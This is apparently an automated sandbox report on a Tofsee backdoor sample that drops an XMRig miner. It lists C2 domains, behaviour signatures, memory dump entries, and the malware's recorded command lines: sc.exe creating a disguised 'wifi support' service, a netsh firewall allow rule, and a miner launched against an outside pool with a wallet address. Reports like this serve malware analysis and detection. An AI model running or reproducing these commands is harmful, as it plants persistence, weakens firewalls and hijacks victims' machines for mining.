Analysis

  • max time kernel
    149s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-20231215-en
  • resource tags

    arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
  • submitted
    12/01/2024, 10:51

General

  • Target
    8bcf8cc2c1f767e639cfd2de9ad3d548.exe
  • Size 288KB
  • Sample240112-mxtzesfcc7
  • SHA256 fd79a1b3b18fca2696c2c58f290a4dadb97e3cdcd6e98d14a63ac3f4a1f2e351
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • tofsee

C2
  • vanaheim.cn

  • jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8bcf8cc2c1f767e639cfd2de9ad3d548.exe
    "C:\Users\Admin\AppData\Local\Temp\8bcf8cc2c1f767e639cfd2de9ad3d548.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2280
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\fshytrjb\
      2⤵
        PID:3068
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\capxqgbx.exe" C:\Windows\SysWOW64\fshytrjb\
        2⤵
          PID:2708
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create fshytrjb binPath= "C:\Windows\SysWOW64\fshytrjb\capxqgbx.exe /d\"C:\Users\Admin\AppData\Local\Temp\8bcf8cc2c1f767e639cfd2de9ad3d548.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2812
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description fshytrjb "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2784
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start fshytrjb
          2⤵
          • Launches sc.exe
          PID:2748
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2732
      • C:\Windows\SysWOW64\fshytrjb\capxqgbx.exe
        C:\Windows\SysWOW64\fshytrjb\capxqgbx.exe /d"C:\Users\Admin\AppData\Local\Temp\8bcf8cc2c1f767e639cfd2de9ad3d548.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2744
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:2576
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2264

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            capxqgbx.exe

            • Path C:\Users\Admin\AppData\Local\Temp\capxqgbx.exe
            • Size 12.9MB
            • SHA256 8274c2e5926e0a111298bc889877cc57ce0b3e70e0cd7d9e756c7665f2179613
            • MD5 SHA1 SHA512 SSDEEP

            memory/2264-76-0x0000000000180000-0x0000000000271000-memory.dmp

            memory/2264-74-0x0000000000180000-0x0000000000271000-memory.dmp

            memory/2264-62-0x0000000000180000-0x0000000000271000-memory.dmp

            memory/2264-63-0x0000000000180000-0x0000000000271000-memory.dmp

            memory/2264-77-0x0000000000180000-0x0000000000271000-memory.dmp

            memory/2264-67-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

            memory/2264-75-0x0000000000180000-0x0000000000271000-memory.dmp

            memory/2264-71-0x0000000000180000-0x0000000000271000-memory.dmp

            memory/2264-73-0x0000000000180000-0x0000000000271000-memory.dmp

            memory/2264-72-0x0000000000180000-0x0000000000271000-memory.dmp

            memory/2280-4-0x0000000000400000-0x0000000000450000-memory.dmp

            memory/2280-1-0x0000000000520000-0x0000000000620000-memory.dmp

            memory/2280-7-0x0000000000400000-0x0000000000450000-memory.dmp

            memory/2280-3-0x0000000000220000-0x0000000000233000-memory.dmp

            memory/2576-39-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-47-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-32-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-33-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-34-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-35-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-36-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-37-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-38-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-26-0x0000000000210000-0x0000000000216000-memory.dmp

            memory/2576-40-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-41-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-42-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-43-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-44-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-45-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-46-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-29-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-48-0x0000000000220000-0x0000000000230000-memory.dmp

            memory/2576-49-0x0000000000380000-0x0000000000385000-memory.dmp

            memory/2576-52-0x0000000000380000-0x0000000000385000-memory.dmp

            memory/2576-53-0x00000000053B0000-0x00000000057BB000-memory.dmp

            memory/2576-56-0x00000000053B0000-0x00000000057BB000-memory.dmp

            memory/2576-57-0x0000000000500000-0x0000000000507000-memory.dmp

            memory/2576-61-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/2576-25-0x00000000019D0000-0x0000000001BDF000-memory.dmp

            memory/2576-22-0x00000000019D0000-0x0000000001BDF000-memory.dmp

            memory/2576-20-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/2576-11-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/2576-19-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/2576-14-0x00000000000C0000-0x00000000000D5000-memory.dmp

            memory/2576-12-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

            memory/2744-17-0x0000000000400000-0x0000000000450000-memory.dmp

            memory/2744-10-0x0000000000400000-0x0000000000450000-memory.dmp

            memory/2744-9-0x0000000000890000-0x0000000000990000-memory.dmp